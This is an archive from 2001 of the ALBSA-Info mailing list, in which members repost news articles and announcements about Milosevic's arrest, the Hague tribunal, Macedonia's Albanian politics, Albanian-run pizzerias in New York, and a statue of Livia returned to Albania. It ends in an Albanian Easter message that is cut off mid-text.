But until Sunday, he was still a feared one. Ever since Kostunica?s electoral victory on Oct. 5, Serbs marveled that Milosevic actually stepped down peacefully. But for nearly six months he retained the trappings of office. Milosevic remained in the presidential villa, heavily guarded by details of soldiers and police. As the new government consolidated control, Milosevic?s Socialist Party continued to sit in Parliament, and answer to its leader. But the U.S. Congress imposed an ultimatum that it would cut off aid unless the Bush administration could certify that Yugoslavia was democratizing and cooperating with war-crimes investigators by March 31. The U.S. government suggested Milosevic?s arrest was a prerequisite for it to certify to Congress that the country was complying. At stake: $40 million in direct U.S. aid and hundreds of millions of dollars more in multilateral loans that Washington would be legally required to block. That deadline was last Saturday, but Washington extended it to Monday. ? ? ? ? AN OFFER OF QUADRUPLE PAY The arrest drama began on March 30 when the Interior Ministry ordered Milosevic?s police bodyguard to leave. Milosevic offered the policemen quadruple pay out of his own pocket to stay in his service, Mihajlovic said. But only one agreed to do so. Then a notorious paramilitary leader, Sinisa Vucinic, took charge of the villa?s security with a group of Milosevic?s Socialist Party loyalists. Vucinic commanded the Falcons, a group responsible for a vicious ethnic-cleansing campaign during the war in Bosnia. On Kostunica?s orders, Milosevic also had had an Army detail guarding him?ostensibly on the ground that they were protecting the official residence. Interior Ministry authorities said that police in recent days had negotiated an agreement with Army generals to hand over the keys to the presidential villa, and then stay out of the way when the arrest took place. Instead, senior Army officers gave the keys to Vucinic and blocked the doors of Milosevic?s villa themselves. The federal troops finally agreed to stand aside at 1:20 a.m., and within an hour and a half the secret-police unit moved in, only to retreat under gunfire from Milosevic?s ragtag supporters inside the villa. That began the daylong stalemate. As the hours wore on, Yugoslav officials realized they had to get Kostunica on their side. Djindjic said the conflict between his Serbian Republic government and federal authorities was ?not institutional but personal.? The state-owned Politika newspaper reported Saturday that orders for the Army to block the arrest came to Army commander Gen. Nebojsa Pavkovic from ?higher authorities,? suggesting the president. Some saw the confusing arrest endgame as a behind-the-scenes struggle for power. Djindjic, who didn?t have enough popular support to win last fall, had been the one who persuaded a reluctant Kostunica to run at the head of the Democratic Opposition coalition. Djindjic?s followers widely expected Kostunica to be a figurehead president, with the veteran politician as the power behind the throne. But Kostunica proved a stubborn leader in his own right. Newsweek.MSNBC.com Now, for the moment, he and Djindjic are united in condemning Milosevic. The ex-president was immediately charged with running a criminal gang that fired on police and helped him resist arrest. Other charges leveled against him include abuse of power and corruption in connection with the diversion of $140 million in state funds to the use of his cronies, his party and himself. Police are also investigating Milosevic for fraudulently obtaining a personal home, and for ordering the murders of a journalist and of four politicians. But there are no Yugoslav government investigations of war crimes underway. And that may portend future conflict with the United States and Europe. For today, however, almost everyone can agree: Milosevic is one step closer to the justice he deserves, and Yugoslavia is one step closer to putting its past behind it. ? ? ? ? From Gazhebo at aol.com Mon Apr 2 23:08:02 2001 From: Gazhebo at aol.com (Gazhebo at aol.com) Date: Mon, 2 Apr 2001 23:08:02 EDT Subject: [ALBSA-Info] Judging War Crimes Message-ID: The International Criminal Tribunal What is the International Criminal Tribunal for the Former Yugoslavia? The tribunal has the power to prosecute people for serious violations of international humanitarian law committed in the territory of the former Yugoslavia since 1991. Cases are tried at The Hague in the Netherlands. What kind of cases does the tribunal hear? Crimes involving grave breaches of the Geneva Conventions of Aug. 12, 1949. These breaches include wilful killing; torture or inhuman treatment, including biological experiments; wilfully causing great suffering or serious injury to body or health; extensive destruction and appropriation of property, not justified by military necessity and carried out unlawfully and wantonly; compelling a prisoner of war or a civilian to serve in the forces of a hostile power; wilfully depriving a prisoner of war or a civilian of the rights of fair and regular trial; unlawful deportation or transfer or unlawful confinement of a civilian; taking civilians as hostages. Who selects the judges? The U.N. General Assembly elects 14 judges to the tribunal. The judges are elected to four year terms and can be re-elected. Three judges serve in each of the three trial chambers; five judges serve in the appeals chamber. Judges rotate on a regular basis between the trial chambers and the appeals chamber. Who selects the prosecutor? The U.N. Security Council. The prosecutor serves a four-year term and is eligible for reappointment. What kind of penalties can the tribunal impose? By a majority decision, the tribunal can send someone to prison and order the return of any property and proceeds acquired by criminal conduct to their rightful owners. Imprisonment is served in a state designated by the tribunal from a list of states that have indicated to the Security Council their willingness to accept convicted people. Can the decision be appealed? Yes. The tribunal's appeal chamber may affirm, reverse or revise the decisions taken by the trial judges. From aalibali at yahoo.com Tue Apr 3 22:44:23 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Tue, 3 Apr 2001 19:44:23 -0700 (PDT) Subject: [ALBSA-Info] London Times Message-ID: <20010404024423.53303.qmail@web11503.mail.yahoo.com> The Times (London) April 3, 2001, Tuesday SECTION: Features Two heads of Livia are better than one Norman Hammond LIVIA, wife of the Roman Emperor Augustus, has poked her head into the public arena yet again. Only a few months after a marble portrait of the murderous matriarch, portrayed on television in I, Claudius by Sian Phillips, was returned from Oxford to its home in Croatia, another and similar head has been rescued from the stolen-art market and taken back to Albania. The Albanian head, in superb condition apart from a broken nose, was found in the theatre of Butrint, on the southern coast opposite Corfu, during excavations 70 years ago. "The statue was one of six which had formed an imperial portrait group in a grand stage building," said Professor Richard Hodges, who is directing new research at the site. The head was stolen from the Butrint museum in 1991, during the chaos that accompanied the fall of Ramez Alia, the last Communist dictator of Albania. It was apparently smuggled to Greece and then to Switzerland, Professor Hodges said, and purchased by Robert Hecht, a New York art dealer. When he offered it for sale in his catalogue in 1995, the head was recognised by American scholars, and Mr Hecht declared his willingness to return it. It was recently flown back to Tirana, where it will stay in the Institute of Archaeology's museum until the Butrint museum has been renovated and rendered secure. Ironically, the recent return of another head of Livia from the Ashmolean Museum in Oxford to Narona in Croatia, where it was found more than a century ago, and acquired by Sir Arthur Evans in exchange for his hat (The Times, October 25 and November 22, 2000), has led to renewed mystery about how many Livias there were at the site. Professor Emilio Marin found a torso in his recent excavations at Narona which he identified as the missing body of the Oxford head: the Ashmolean Museum, learning of the discovery from The Times, promptly offered to give the head back. It was returned to Croatia late last year, but with the two pieces back together, it became clear that the head did not quite fit: although the chronology, style and type of marble were all the same, the neck was too thin to fit the socket on the body. Also, Professor Marin now notes, the mantle on the Oxford head was drawn closely in on both sides, while none of the female bodies found at Narona so far shows such a feature. There seem to have been at least two statues of Livia at Narona. The head for Professor Marin's torso and the body that fits the Oxford head are still missing. Until the latter shows up, if it ever does, Professor Marin has declared himself willing to reciprocate Oxford's courtesy, and return Livia's head to the Ashmolean, "as the ambassador of Narona". __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ From aalibali at yahoo.com Tue Apr 3 22:45:43 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Tue, 3 Apr 2001 19:45:43 -0700 (PDT) Subject: [ALBSA-Info] New York Times Message-ID: <20010404024543.45346.qmail@web11502.mail.yahoo.com> The New York Times, April 3, 2001 April 3, 2001, Tuesday, Late Edition - Final Section B; Page 1; Column 2; Metropolitan Desk The Albanian Connection; As Italians Move Up, a New Group Does the Pizza and Pasta By DEXTER FILKINS The Famous Famiglia restaurant at Broadway and 50th Street in Manhattan is like many of hundreds of pizzerias in the city. A scene from Venice adorns one wall. Pictures of famous Italian-Americans like Frank Sinatra and Rocky Marciano hang from another. The menu offers "Italian specialties" like eggplant parmigiana and baked ziti. The only thing un-Italian about Famous Famiglia is the famiglia that own it: Tony, Paul, John and Giorgio Kolaj, Albanians from the former Yugoslavia. Like hundreds of their compatriots who fled to New York during the cold war or the Balkan conflict of the 1990's, the Kolajs have quietly prospered by opening Italian restaurants, cooking Italian food and playing down their own ethnic origins. "We're very true to the Italian recipes, more than the Italians," said Paul Kolaj, who moved to the United States in 1970, grew up in the South Bronx and opened his first pizzeria in 1986. "I'm not sure I like the idea of advertising the fact that we're Albanian. It's a touchy situation." If the culinary affinity doesn't seem obvious -- Albanian cuisine includes dishes like faszle (bean stew), not pizza -- the Albanians say they are capitalizing on experience and geography. Many spent time in refugee camps in Italy, where they learned the food and the language, before immigrating to the United States. During the cold war, many residents of Albania defied their Communist government by tuning into Italian television. Before that, Italy under Mussolini annexed the country of Albania in April 1939, and controlled it until 1945. Exact numbers are hard to come by, but some restaurateurs say ethnic Albanians own or operate more than 100 Italian restaurants and pizzerias in the metropolitan region, including all five boroughs, Westchester County, Connecticut and New Jersey. The Kolajs own eight Famous Famiglia restaurants in New York City, and recently edged out larger Italian restaurant chains in a bid to open two pizzerias at Newark International Airport. Paul Vuli owns all or part of four Italian restaurants in the metropolitan region, including Fino in Murray Hill, and he is preparing to open a fifth. Imer Deja and his uncles, cousins and brothers own nine pizzerias in Manhattan and Brooklyn. The Patsy's Pizzeria in East Harlem is now owned by Frank Brija, an Albanian from Kosovo. "I've stopped looking for them, there are too many," said Ismer Mejku, who runs the Albanian Yellow Pages, a directory of Albanian-owned businesses in the United States. Mr. Mejku says he plans to run advertisements for about 75 Albanian-owned restaurants in New York in his 2001 edition, the overwhelming majority offering Italian cuisine. "There are hundreds." Many of their owners started out much like Mr. Vuli, who left Yugoslavia in 1972 and lived in Italy for a year while waiting to get into the United States. When he arrived in New York at 18, he spoke Italian but almost no English, and started washing dishes in a Brooklyn restaurant for $90 a week. He worked his way up from there, and opened his first restaurant, Piccolo Mondo, in 1977. "Italy is where it all started," he said, between sips of bottled water at his table in Fino's. But the link to Italy is not the only reason. Albanians say they are also capitalizing on an industry that has long depended on freshly arrived immigrants to thrive. As Italian-Americans have moved up the economic ladder and out to the suburbs, Albanians are taking over. "The Italians can't do the work anymore, they've gotten fat in America," said Joe Carnevalla, an Italian-American whose company supplies groceries to 700 pizzerias in the New York area. "You go into an Italian restaurant now, you see Albanians. You think they're Italian. They speak Italian, they look like us, the food is great." They have done much to cultivate such authenticity. While many of the restaurant owners describe themselves as fiercely patriotic, they set aside their ethnic pride when it comes to running their businesses. Imer Deja's family bought nine Italian restaurants in New York City and didn't change any of the names. Imer owns Mike's Pizza in Brooklyn; his brother, Zija, owns Charlie's Pizza in Brooklyn; Cousin Bill owns La Belleza Pizza in Manhattan. "If you change the name, you could lose customers," Imer Deja said. When Gjergj Dedvukaj, an Albanian from Yugoslavia, bought Giovanni's in the Bronx, he decided against changing cuisines. "Customers don't know Albanian food," he said. Some of his customers think he is Italian, and he does little to dissuade them. "They think I'm Giovanni." The Kolajs, the owners of the Famous Famiglia pizzerias, have made the most of their 14-month stay in a camp in Italy, where their father died and the youngest brother, Giorgio, was born. In a company brochure, the Kolajs don't mention their Albanian roots, but they do say that the family "made the pilgrimage from Italy to America." In their new line of Italian food products, which include spaghetti, marinara sauce and ziti, their mother, Roze Kolaj, is featured on the logo as Mamma Rosa, holding a bunch of tomatoes. At the same time, the Kolaj brothers have donated thousands of dollars worth of food and clothing to Albanians dislocated in the Balkans. "We've never forgotten our homeland," Mr. Kolaj said. Tony and Tina's Pizzeria in the Bronx is one of the few establishments that show their ethnic roots. The mostly Albanian crew tosses pizza dough beneath flags and posters celebrating the struggle of their brethren in Kosovo. The pizzeria also sells burek, an Albanian meat pie. The influx of Albanians into the pizza parlors and restaurants has sparked some skepticism and, perhaps, resentment. Until about a year ago, Sette Colli Ristorante in Brooklyn was owned by an Albanian, who had started the restaurant years before. Then a person of Italian descent bought it from the Albanian. Salvatore Adamita, the new owner, said he purchased Sette Colli last year when people in the neighborhood discovered that the former owner was not Italian. "We brought it back to the way it's suposed to be," Mr. Adamita said. "The food is much better. The customers notice." Mr. Adamita said it was only natural that Italians would know better about Italian food. "We originated it," he said. "We know how to do it." Mr. Adamita seems to be in the minority. For the most part, Italian-American restaurateurs say they don't mind the competition, or the throngs of Albanians eager to buy their establishments. Often, the Albanian buyers have worked in their restaurants for several years. "I appreciate the Italian guy, I learned from him," said Atli Tocci, an Albanian who bought Portobello Pizzeria Restaurant in Brooklyn from its Italian-American owner five months ago. "I worked here 10 years. I learned how to make good pizza. One day he say to me: You want to buy it? I say, why not?" Like the Italians before them, the Albanians are using pizzerias to segue into the middle and higher ends of the restaurant business. Bruno Ristorante, a Midtown restaurant specializing in Northern Italian cuisine, was described as "elegant" and "excellent" in the 2001 Zagat Survey. Its owner, Bruno Selimaj, came to the United States from Yugoslavia in 1971 and began his career by washing dishes in an Italian restaurant in Midtown. In 1999, when Mayor Rudolph W. Giuliani led Gov. George W. Bush through the old Italian-American enclave of Belmont in the Bronx, he took him to Giovanni's, owned by Mr. Dedvukaj, an Albanian from Yugoslavia. The mayor, Italian by descent, has declared his approval. "The Albanians do a wonderful job of operating Italian restaurants and cooking Italian food." But Joe Carnevalla, the food supplier, doesn't think it will last forever. "Just wait," Mr. Carnevalla said. "Ten years from now, the Albanians won't want to work, and some other group will come in and do just what they did." http://www.nytimes.com GRAPHIC: Photos: At Tony and Tina's Pizzeria in the Bronx, Simon Kajtazi, a pizza maker, played a cifteli, an Albanian stringed instrument. (Angel Franco/The New York Times)(pg. B1); Bruno Selimaj, the owner of Bruno Ristorante, specializing in Northern Italian cuisine, came to the United States from Yugoslavia in 1971. (Nancy Siesel/The New York Times)(pg. B8) __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ From aalibali at yahoo.com Tue Apr 3 22:49:35 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Tue, 3 Apr 2001 19:49:35 -0700 (PDT) Subject: [ALBSA-Info] USA Today Message-ID: <20010404024935.89317.qmail@web11501.mail.yahoo.com> USA TODAY April 3, 2001, Tuesday, FINAL EDITION NEWS; Pg. 12A United States is model for Balkan democracy I agree with author Louise Branson's article on the situation in the Balkans ("President could nip this new war in the bud," The Forum, March 26). President Bush's lack of policy with regard to the Balkans as a whole and more specifically the current crisis in Macedonia will serve only to escalate the current conflict. As an American of Albanian heritage, I find this quite disturbing. However, what concerns me most is the ignorance of most policymakers in Washington with respect to this tinderbox of a region. The United States fails to understand that it stands in a unique position in the region. Unlike its NATO allies, the United States is not viewed as a former oppressor or repressor. Instead, the United States is revered by Albanians and Macedonians alike as a model for democracy and as a voice of reason without historical baggage. By failing to act decisively, the United States risks confusion and the exacerbation of tension in the region. The policy that should be followed is one that states the United States: * Favors democratic policies and solutions for the region's social issues. * Will not tolerate violence as a means to political ends, be it a government in power or insurgents. * Expects these new nations -- such as Macedonia and Serbia -- to respect the rights of all citizenry, not a select majority. And the USA will monitor their compliance as quid pro quo for international aid. Obviously, funding and support are needed for such initiatives to ensure meaningful change. This is the carrot the United States can use to guarantee compliance with its policy. History has shown us the means by which Balkanites, left to their own devices, address their conflicts: violence. To break this vicious cycle, we must commit our efforts and resources to teaching aspiring democracies how to be just that. Bush's father welcomed the end of the Cold War and the rise of democracy in the former Eastern Bloc. His son must now act decisively to ensure the success of democracy in the former Eastern Bloc. Only with our voice and support can democracy succeed in Macedonia without violence. James D. Christo Hoboken, N.J. __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ From aalibali at yahoo.com Wed Apr 4 08:01:56 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Wed, 4 Apr 2001 05:01:56 -0700 (PDT) Subject: [ALBSA-Info] Kathimerini Message-ID: <20010404120156.54387.qmail@web11506.mail.yahoo.com> Kathimerini Commentary Passports in the classifieds By G.G. de Lastic The classified ad recently published in the broad-circulation Russian daily, Kommersant, leaves no room for doubt. Its title alone says it all: "Arrangements for Greek nationality documents and passport delivery with help from Greece's Foreign Ministry." The Moscow-based office which advertises this invaluable Greek commodity promises its clients "safety and secrecy" and a "free sojourn in Europe." It also claims that it employs "lawyers working in Greece's public sector." Furthermore, it refers to the public sector using words which in Russian translate as "State Department," hence leading our would-be fellow citizens to think that the lawyers at the office actually work for the Greek Foreign Ministry. The insolence and feeling of impunity of these fraudsters is such that the classified ad includes a full postal address, telephone, fax, web page and e-mail address. Russian newspapers are full of such advertisements referring to Greece, complain Greek migrants in Scandinavian countries who also sent us the above ad. They are desperate because the publication of such advertisements has resulted in their repeated humiliation and harassment. Greek passports are gradually losing their credibility. Each time they try to pass the borders of a European country - by car, what is more - police authorities separate Greeks from other travelers, force them to wait for half an hour, an hour or more until their passports have been checked by experts on fake passports, and generally behave as if Greek travelers were potential false-passport holders. Greece has to put an end to this situation. It is unacceptable that any Russian crook is free to publish such ads and embroil the Greek Foreign Ministry, which is failing to respond and protect the status of Greek passports abroad. The government must combat this problem effectively and abandon delusions that it can tackle the issue by sacrificing democratic liberties to the Schengen accord or by referring the issue of passports to a corruption-ridden police, awakening repellent memories of previous dark times. [ Back to top ] __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ From kbejko at hotmail.com Wed Apr 4 13:10:58 2001 From: kbejko at hotmail.com (Kreshnik Bejko) Date: Wed, 04 Apr 2001 13:10:58 -0400 Subject: [ALBSA-Info] Macedonia's Pivotal Albanian Message-ID: Arben Xhaferi, Macedonia?s pivotal Albanian Mar 29th 2001 >From The Economist print edition HOW much time, and how much room for manoeuvre, does Arben Xhaferi, the modulated voice of Macedonia?s aggrieved Albanians, still have left? That is the question on the minds of the many, from the south Balkan plains to the chanceries of Brussels and Washington, who are still hoping that a fresh, horrible war of Yugoslav succession can be avoided. The past two weeks have been among the toughest for Mr Xhaferi (pronounced, roughly, Jafferi), a grey-faced, soft-spoken veteran of journalism and nationalist agitation with the battered, lived-in features of a Balkan intellectual. As leader of the Democratic Party of Albanians (DPA), which shares power uneasily?but from a position of some strength?with an old and apparently reformed Slavic-nationalist party, he personifies the belief that Macedonia?s inter-communal quarrels may yet be ended peacefully. Since mid-March, though, his position has been challenged by the sudden emergence of an ethnic-Albanian rebel movement, the National Liberation Army, which says it wants roughly the same things as Mr Xhaferi (in other words, sharply improved constitutional rights for Albanians in Macedonia) but insists that war will do the job more swiftly and certainly than politics; especially when the warriors can count on logistical support from cousins in Kosovo, whose Serb overlords were driven out in 1999. By the end of March, after an offensive by Macedonia?s gimcrack security forces to expel the guerrillas from the northern mountains where they had cheekily encamped, the government of President Boris Trajkovski was bold enough to claim that the spectre of civil war had been staved off; things could return to normal now. In fact, as Mr Xhaferi knows all too well, there is no reason to be sanguine. At best, Macedonia?s rulers have a small opportunity to satisfy the Albanians, who probably account for at least a third of the country?s 2m people?without hopelessly alienating the Slavic majority. How to achieve that was the subject of some hard talking this week between Mr Xhaferi and Javier Solana, the European Union?s foreign-policy spokesman, who has been shuttling between Brussels and Skopje, Macedonia?s capital. At a minimum, both seemed to agree, a new local-government law must be passed so as to give municipalities (including Albanian-dominated ones) the power to raise and spend money freely. The Albanian language, already used in many primary schools and in a fee-paying university that is due to open officially this autumn, must become the medium of teaching in some secondary schools as well. And the census, due to take place in a few weeks, must be fairly conducted so that the Albanians? true demographic weight, claimed by some to be approaching 40%, can be ascertained. That in turn should give Albanians a stronger vantage-point from which to seek changes in the constitution. Unless all this was set in train rapidly, a weary-looking Mr Xhaferi was telling people this week, a renewed resort to violence by his people would be inevitable. And if the Slav-led government reacted intemperately to that violence, then he and his party would immediately leave the ruling coalition. These warnings were not so much threats as statements of hard political fact. If and when Macedonia?s towns and villages become polarised, then everybody will simply reach for the nearest gun, including the DPA?s activists, who are no strangers to hidden arms caches and have connections with the smuggling underworld. In fact, however convenient it would be to divide the region?s ethnic-Albanian leaders into pacifists and warriors, or moderates and extremists, the distinction is not a neat or easy one. Mr Xhaferi, for example, has been cast in many different roles. In 1968, at the age of 20, he was a keen organiser of demonstrations in his native Tetovo, Macedonia?s main ethnic-Albanian town. After studying philosophy in Belgrade, he moved to Kosovo, where, during the two decades before Serbia quashed the province?s autonomy in 1989, ethnic Albanians ruled the roost. As a senior editor at Pristina television, he developed a name as a critic of art, sculpture and the cinema. When communist Yugoslavia started to break up, and new parties began to proliferate, Mr Xhaferi was never far from centre-stage in the politics of the ethnic-Albanian world. But it would be hard to pigeonhole him as a moderate or a hardliner. In Kosovo in 1990, he helped to found a Social Democratic Party whose manifesto was less nationalist than that of Ibrahim Rugova, the veteran leader of the Kosovar cause. But on returning to his native Macedonia in the 1990s, Mr Xhaferi surprised many people by the radicalism of his demands for greater rights for ethnic Albanians. He called for Macedonia to be ?federalised?, a measure which many people feared, or hoped, would lead to full partition. For the past two years, he has been party to a ?historic bargain? with the Slav majority. This meant setting aside his calls for federalism in return for cabinet seats and the promise of gradual improvements in his people?s status. But at best, this has been a calculated, loveless deal between peoples whose mutual mistrust remains undiminished and is probably rising. The war over Kosovo in 1999, which left that province?s ethnic-Albanian majority firmly in charge, has fuelled hopes among the Albanians, and fears among the Slavs, that a historic shift in favour of the Albanians is taking place across the whole region, as their demographic and economic weight rises. If that is true, then the best hope of avoiding war is to manage that process in a civilised way?without a violent attempt to impose border changes. Mr Xhaferi?s judgment, experience and personal authority could be crucial. But the constraints on his freedom of action are not only political. Although his mind is as sharp as ever, he is visibly suffering from a brain condition whose symptoms are similar to those of Parkinson?s disease. His speech is often slurred and hard to understand. For that reason, too, people are asking: how long does Arben Xhaferi still have left in politics? And if he were to bow out, who might take his place? _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From ipilika at hotmail.com Wed Apr 4 14:30:02 2001 From: ipilika at hotmail.com (Iris Pilika) Date: Wed, 04 Apr 2001 18:30:02 -0000 Subject: [ALBSA-Info] Powell: Macedonia, Bosnia and Kosovo are on the itinerary Message-ID: Powell to tour Balkans Powell: Macedonia, Bosnia and Kosovo are on the itinerary April 4, 2001 Web posted at: 1641 GMT WASHINGTON (CNN) -- U.S. Secretary of State Colin Powell will travel to the Balkans next week, State Department officials have told CNN. A senior official said that Powell will travel to the region following a meeting next Wednesday with the Contact Group on Yugoslavia in Paris. Another official said stops would include Macedonia, Bosnia and Kosovo. A visit to Macedonia would show U.S. and NATO support for the government as its continues to try and contain ethnic Albanian rebels. Powell is not expected to travel to Yugoslavia amid continuing tension over the fate of former president Slobodan Milosevic. Despite having certified that Belgrade met conditions for $50 million in U.S. aid, the Bush administration is still looking for further cooperation with the International War Crimes Tribunal, including handing over Milosevic. Yugoslav President Kostunica has said that Milosevic will first be tried at home for domestic crimes, and has suggested he might not be turned over to the Hague at all. On Tuesday en route to Washington, Powell reiterated that Milosevic "ultimately must be brought before the Hague to answer charges against him." In releasing the money, Powell had qualified it by saying the U.S. would not support a donors conference to raise further aid for Yugoslavia later this year unless further steps were taken. He expanded on this saying that before offering support was offered, he would be examining "all elements" U.S. law requires of Yugoslavia, including cooperation with the tribunal, "dealing with minorities, their relationship to Bosnia-Herzegovina and the Republic of Srpska under the Dayton accord." Next Wednesday's Contact Group includes the United States, Britain, France, Italy, Germany and Russia and Powell is expected to meet separately with Russian Foreign Minister Igor Ivanov on the sidelines of the gathering. _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From aalibali at law.harvard.edu Wed Apr 4 15:33:56 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Wed, 4 Apr 2001 15:33:56 -0400 Subject: [ALBSA-Info] Call for Applications: Regional Workshop on Unversity Teaching for Faculty from Bosnia, Koosov, Montenengro, Serbia and Albania, 24-27.5.2001, Montenegro Message-ID: An embedded message was scrubbed... From: fbieber at yahoo.com Subject: [balkans] CfA: Regional Workshop on Unversity Teaching for Faculty from Bosnia, Koosov, Montenengro, Serbia and Albania, 24-27.5.2001, Montenegro Date: Sun, 1 Apr 2001 10:05:51 +0200 Size: 4570 URL: From aalibali at law.harvard.edu Wed Apr 4 15:35:31 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Wed, 4 Apr 2001 15:35:31 -0400 Subject: [ALBSA-Info] Call for Papers: Journal of Genocide Research Message-ID: An embedded message was scrubbed... From: fbieber at yahoo.com Subject: [balkans] CfP: Journal of Genocide Research Date: Sun, 1 Apr 2001 10:00:09 +0200 Size: 5658 URL: From kbejko at hotmail.com Wed Apr 4 16:42:04 2001 From: kbejko at hotmail.com (Kreshnik Bejko) Date: Wed, 04 Apr 2001 16:42:04 -0400 Subject: [ALBSA-Info] Powell: Macedonia, Bosnia and Kosovo are on the itinerary Message-ID: >>A senior official said that Powell will travel to the region >following a >meeting next Wednesday with the Contact Group on Yugoslavia in Paris. > >Another official said stops would include Macedonia, Bosnia and Kosovo. Does Albania ever figure in any US itineraries? _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From aalibali at law.harvard.edu Wed Apr 4 17:21:20 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Wed, 4 Apr 2001 17:21:20 -0400 Subject: [ALBSA-Info] ASN Conference at Columbia University Message-ID: http://www.brown.edu/Departments/Watson_Institute/ASN/program.html From aalibali at yahoo.com Wed Apr 4 19:31:01 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Wed, 4 Apr 2001 16:31:01 -0700 (PDT) Subject: [ALBSA-Info] Gazeta Shqiptare Message-ID: <20010404233101.28544.qmail@web11502.mail.yahoo.com> 5 Prill 2001 GAZETA E GJIROKASTRES INSTAT: Regjistrimi? Ashtu si n? Evrop? GJIROKASTER Zyra e Institutit t? Statistikave n? Prefektur?n e Gjirokastr?s mbledh e sqaron minoritar?t e Dropullit t? Posht?m. Sipas saj, banor?t jan? t? detyruar me ligj t'u p?rgjigjen pyetjeve q? kan? t? b?jn? me regjistrimin 1 her? n? 10 vjet. Nd?rkoh?, n? gjith? k?t? zon? jan? shp?rndar? "trakte" n? gjuh?n greke, t? cilat i b?jn? thirrje Komisionit dhe banor?ve q? t? bojkotojn? regjistrimin e popullsis? dhe banesave. N? fakt, k?shtu ka ndodhur. Shumica e an?tar?ve t? Komisionit kan? bojkotuar pun?n, t? mb?shtetur dhe nga kryepleqt? dhe kryekomunari i Dropullit. P?r k?t? problem Prefektura ka organizuar menj?her? nj? takim n? Dropullin e Posht?m me p?rfaq?sues t? komun?s, kryepleq?sive, banor? t? krahin?s, si dhe p?rfaq?sues t? zyr?s s? INSTAT-it pran? Prefektur?s. "Ky ?sht? nj? proces statistikor, q? nuk i mohon kurrsesi t? drejtat e minoritar?ve. Komb?sia ?sht? e bazuar n? dokumente e n? regjistrin themeltar. N? Shqip?ri ka edhe minoritete t? tjera. Madje, p?r probleme ekonomike, ata mund t? deklarojn? komb?si t? ndryshme. N? k?t? regjistrim ne kemi parasysh p?rvoj?n evropiane e bot?rore", -ka th?n? drejtoresha e Sektorit Demografik pran? INSTAT-it, Mira Galanxhi. Sipas saj, gjith? q?llimi i k?tij q? regjistrimi t? b?het real, si i popullsis? ashtu dhe banesave. "N? fund t? fundit, ka edhe nj? ligj sipas r? cilit nj? her? n? 10 vjet njer?zit duhet t'u p?rgjigjen pyetjeve t? detyrueshme, p?r sa i takon regjistrimit", -ka theksuar Galanxhi. N? kund?rshtim me k?t? t? fundit, ka qen? kryetari i Komun?s s? Dropullit t? Posht?m, Pandeli Toli, i cili ka k?rkuar medeomos sakt?simin e komb?sis? e fes? p?r shtetasit minoritar?. Madje, n? takim ka pasur edhe nga ata q? kan? k?rkuar p?rcaktimin e gjuh?s q? flasin. "T? k?rkosh komb?sin? nuk ?sht? gj? e keqe, aq m? tep?r q? kjo komb?si ka ekzistuar n? let?rnjoftimet e m?parshme. Ne nuk themi q? t? ndryshojn? formular?t, por, fare mir?, mund t? shtohet nj? formular tjet?r ku t? shtojm? komb?sin? dhe besimin fetar", -ka theksuar Toli. Nd?rsa p?rfaq?suesi i Prefektur?s, Kas?m Lamaj, shefi i sektorit juridik pran? k?tij institucioni, ka th?n? se, n? fund t? fundit, nga gjith? ky proces do t? mbetet vet?m regjistrimi i sakt? i popullsis? e banesave, nd?rsa gjith? pikat e tjera jan? personale. Nd?rsa problemi ka mbetur ende i pazgjidhur dhe procesi i regjistrimit i bllokuar, partit? politike nuk kan? reaguar pa u njohur m? mir? me problemin dhe pretendimet e dropullit?ve. I vetmi q? i ?sht? p?rgjigjur Gazet?s, ka qen? kreu i deg?s s? PSD-s?, Vasil Bici. "Un? jam studiues dhe mendoj se p?r efekte statistikore regjistrimi i komb?sis? mund t? sh?rbej?. Mund t? ishte e kund?rta, t? ishin minoritar?t ata t? mos donin t? regjistroheshin, se ata jan? larguar dhe kan? mbetur pak", -ka th?n? ai __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ From aalibali at law.harvard.edu Wed Apr 4 23:11:19 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Wed, 4 Apr 2001 23:11:19 -0400 Subject: [ALBSA-Info] Globe article at KSG website Message-ID: http://www.ksg.harvard.edu/kokkalis/articles_globe.html From aalibali at law.harvard.edu Wed Apr 4 23:16:02 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Wed, 4 Apr 2001 23:16:02 -0400 Subject: [ALBSA-Info] Journal: CEMOTI Message-ID: An embedded message was scrubbed... From: bieberf at seep.ceu.hu Subject: [balkans] Journal: CEMOTI Date: Fri, 26 Jan 2001 11:03:24 +0100 Size: 4317 URL: From albboschurch at juno.com Wed Apr 4 05:26:37 2001 From: albboschurch at juno.com (albboschurch at juno.com) Date: Wed, 4 Apr 2001 05:26:37 -0400 Subject: [ALBSA-Info] Mesaxh per Pashket 2001 Message-ID: <20010405.060836.-269693.0.albboschurch@juno.com> "As largesia , as thellesia, dhe asnje gje tjeter ne kete bote nuk do te jene ne gjendje te na ndajne nga dashuria e Zotit, qe eshte e misheruar ne Krishtin, te birin e Perendise." Apostol i Shen Pavlit drejtuar Romaneve 8:39 Te bekuarit e mij, Ne kete bote ka shume rruge qe i ndajne njerezit nga njeri-tjetri. Disa nga keto jane: distanca gjeografike, opinione te ndryshme, dallimet sociale e shoqerore, menyra e te sjellurit, interesat e ndryshme ne jete, shkollimi dhe mosha, dallimet kulturore, gjuha, besimet politike, ndjenjat personale, deshira ose rastesia. Per te krishteret dhe per te gjithe njerezimin ky distancim eshte i misheruar ne formen me te fuqishme te ndarjes: ne vdjeken. Ringjallja e 